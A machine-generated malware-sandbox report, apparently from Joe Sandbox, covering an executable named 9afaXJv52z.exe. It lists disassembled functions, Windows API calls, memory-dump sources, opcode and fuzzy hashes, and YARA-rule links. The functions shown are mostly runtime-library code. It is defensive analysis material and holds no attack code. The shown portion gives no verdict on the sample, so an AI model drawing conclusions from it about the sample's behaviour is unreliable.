                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CB9B6
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CB9C7
                                                                                                                                                                                                                                      • FlsSetValue.KERNEL32(?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02,?,?,?,?,?,00007FF6850C30CC), ref: 00007FF6850CB9D8
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3702945584-0
                                                                                                                                                                                                                                      • Opcode ID: 4fc6ccaa14371e387e5c22fb95057e46c3ade10dd54edcd3ce0e48e5b46d1de5
                                                                                                                                                                                                                                      • Instruction ID: d0ed8826c2756b4e29f37f50ed78ffa2e481144c524b085a154a578c3ff7e419
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4fc6ccaa14371e387e5c22fb95057e46c3ade10dd54edcd3ce0e48e5b46d1de5
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 51114F20B0C643C1FA589766A9911796241BF46FB0F58433CE97DCA7D6DF2CED42C621
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CB7E4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Value
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3702945584-0
                                                                                                                                                                                                                                      • Opcode ID: 64fe73475c7f3c5e3ff0e30dd8e21900901c314ca9004384e47b330d372873f3
                                                                                                                                                                                                                                      • Instruction ID: 99626acdffd1eec957fd0faff3b1b4df6cd06ebb70f00dc5a29f41e1cfa5c43f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 64fe73475c7f3c5e3ff0e30dd8e21900901c314ca9004384e47b330d372873f3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8C119620E09207C2F968A675585517A12417F46F70E98573CDA3ECA3D3DF2CBD45C622
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C64B4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: verbose
                                                                                                                                                                                                                                      • API String ID: 3215553584-579935070
                                                                                                                                                                                                                                      • Opcode ID: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
                                                                                                                                                                                                                                      • Instruction ID: 0faf787d9d181f4fbb52ed1e2b0344b805da994238664a8e7376e969aae211ce
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ad3fface7d4b2ce3aa9510f497705372120eac90acd968bb25d3a192cbea6c12
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1D919C22E08A46C5EB318A29D45037D37A0BF46FA8F94463ADA5E863D5DF3DEC45C321
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D05A8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: UTF-16LEUNICODE$UTF-8$ccs
                                                                                                                                                                                                                                      • API String ID: 3215553584-1196891531
                                                                                                                                                                                                                                      • Opcode ID: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
                                                                                                                                                                                                                                      • Instruction ID: d868b1cd7472099957381f6c57c34865e3dca8e98a499fe984f7d66ceb245152
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1a54e2a2b62d6839c513ace75884cea9e48035532f3c44be9a18c4b4dcf643eb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6181B236E08602C5F6A45F26C22427836A0BF51FA4F75823DDA4EDB295EF2DED01DB41
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BEFD8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CallEncodePointerTranslator
                                                                                                                                                                                                                                      • String ID: MOC$RCC
                                                                                                                                                                                                                                      • API String ID: 3544855599-2084237596
                                                                                                                                                                                                                                      • Opcode ID: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
                                                                                                                                                                                                                                      • Instruction ID: 6cf2b010ae27b19bf0221a568fd4f3ab71ee139d429feb69cdf69beaf852e108
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 37ce56c1d967fba8f41503b71a699ba51a6fbc199d8f022e66d4a2d7a57293db
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8E617B33A18B45CAE710AF65D4803AD77A0FB48BA8F044629EF8D57BA5DF38E945C701
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850BF334 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                                                                                                                                                                                                                      • String ID: csm$csm
                                                                                                                                                                                                                                      • API String ID: 3896166516-3733052814
                                                                                                                                                                                                                                      • Opcode ID: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
                                                                                                                                                                                                                                      • Instruction ID: 532a48171dc5772127cb10d0cf290ca6c31917a7dacff014a0001729198e50c4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 80d5d2ed719ea387a00afc8e5c38e85421d4b0de11d669121429011e6c75d481
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E0516C32908242C6EB64AF2595C436976A0BF54FA4F144139DB9DC7B96CF3CE990C702
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B2890 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Message$ByteCharMultiWide
                                                                                                                                                                                                                                      • String ID: %s%s: %s$Fatal error detected
                                                                                                                                                                                                                                      • API String ID: 1878133881-2410924014
                                                                                                                                                                                                                                      • Opcode ID: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
                                                                                                                                                                                                                                      • Instruction ID: de67166e78390ab4d9fcf38c6e55620c49189bc1b4adf9f77ccb9f943c0224ec
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e8e3c511841a02337865787422672dc7088828a74b651abb3bad42d47e8d3758
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7C314872628686D1E630EB10E4916DA6364FF84FD4F80513AEA8D87A99DF3CDB05CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B3EC0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(?,00007FF6850B39EA), ref: 00007FF6850B3EF1
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6850B87F2,?,?,?,?,?,?,?,?,?,?,?,00007FF6850B101D), ref: 00007FF6850B2A14
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850B29E0: MessageBoxW.USER32 ref: 00007FF6850B2AF0
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLastMessageModuleName
                                                                                                                                                                                                                                      • String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
                                                                                                                                                                                                                                      • API String ID: 2581892565-1977442011
                                                                                                                                                                                                                                      • Opcode ID: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
                                                                                                                                                                                                                                      • Instruction ID: ad2cef756ddb0ce6137ce1d414128928137f75e41a56d6f8ec51e1844d54c18e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 227eff0bc0a0d80c8f8e7ebb06cca3199172163df290dc8daf9e61b6ec9130a6
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 19014461B2D643C1FE60F720E8963B51761BF58FE4F800539D94DC6296EE1CE945C706
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CCB60 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite$ConsoleErrorLastOutput
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2718003287-0
                                                                                                                                                                                                                                      • Opcode ID: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
                                                                                                                                                                                                                                      • Instruction ID: 55efd0d8ad8a05f4ec51156e450b5257f5cea2c786ada4ab6314bdadd5ca0d9a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9513e67bca3e1584d4e6c680d6c879e0cc2bad3dff94493eb0c92e1d92f8606a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: CAD1C072B18A81C9E711CF65D4402AC3BB1FF46BA8B144239DE6D97B99DF38D806C350
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B2330 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: LongWindow$DialogInvalidateRect
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1956198572-0
                                                                                                                                                                                                                                      • Opcode ID: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
                                                                                                                                                                                                                                      • Instruction ID: a0941315737c83b4a2d4373041eecb3542806cf3bcb4789ea2f79497c32c8071
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ecac84c754e5eddc26d74cef75c58701df5fcac281216c238072f9f7c8686c02
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C9118621E08143C2FA65AB69F5842B91291FF89FA0F848238DE4986B9DCD2CDCC1D601
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D628C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _get_daylight$_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: ?
                                                                                                                                                                                                                                      • API String ID: 1286766494-1684325040
                                                                                                                                                                                                                                      • Opcode ID: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
                                                                                                                                                                                                                                      • Instruction ID: 9da76f9dd078476b9a17b900f4bf466808865ed6d250f12fc4022a538a6507e0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17ef38b8e319b62c4683ba5c2bd00e0c19603a4e78082bfdfdcdf9d98f8fed33
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3C41D022E0868282FB648B25A45137A6660FF81FB4F544339FE9D86AD9DF3CD881C700
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C95A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF6850C95D6
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: RtlRestoreThreadPreferredUILanguages.NTDLL(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF22
                                                                                                                                                                                                                                        • Part of subcall function 00007FF6850CAF0C: GetLastError.KERNEL32(?,?,?,00007FF6850D3392,?,?,?,00007FF6850D33CF,?,?,00000000,00007FF6850D3895,?,?,00000000,00007FF6850D37C7), ref: 00007FF6850CAF2C
                                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6850BBFE5), ref: 00007FF6850C95F4
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLanguagesLastModuleNamePreferredRestoreThread_invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID: C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                      • API String ID: 2553983749-1470022055
                                                                                                                                                                                                                                      • Opcode ID: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
                                                                                                                                                                                                                                      • Instruction ID: 2410237d2b3c317fe4fefeadcb34f1755d3ea04914919c686f80a66a77c78044
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 72bea691884ec75b0bcc04dadd89fc5e2ba2839e886db2c4c4036b89f533388c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3E416C76A09B02C6EB54DF6295510BC27A5FF86FA4B544439E94E87B85DF3CEC81C310
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CD1F8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
